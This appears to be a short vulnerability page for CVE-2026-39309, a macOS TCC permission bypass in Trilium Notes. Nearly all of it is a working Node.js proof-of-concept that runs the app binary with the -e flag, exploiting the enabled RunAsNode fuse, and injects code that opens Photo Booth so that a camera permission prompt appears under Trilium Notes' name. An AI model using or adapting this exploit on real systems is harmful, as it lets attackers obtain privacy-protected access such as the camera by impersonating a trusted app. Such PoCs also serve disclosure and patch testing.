CVE-2026-39309 Trilium Notes TCC绕过漏洞

// PoC for CVE-2026-39309 // This demonstrates how an attacker might trigger a TCC prompt using the app's identity. const { exec } = require('child_process'); // Path to the vulnerable Trilium Notes binary const appPath = '/Applications/Trilium Notes.app/Contents/MacOS/Trilium Notes'; // Malicious JS code to execute inside the app context // This attempts to launch an app that requires Camera access, spoofing the prompt const payload = ` const { exec } = require('child_process'); // Trigger a TCC protected resource request // The user will see 'Trilium Notes' requesting permission exec('open /Applications/Photo\ Booth.app'); `; console.log('Executing exploit payload...'); // Execute Trilium Notes with the -e flag to run the payload // This works because the RunAsNode fuse is enabled exec(`"${appPath}" -e "${payload}"`, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log('Payload executed. Check for TCC prompt.'); });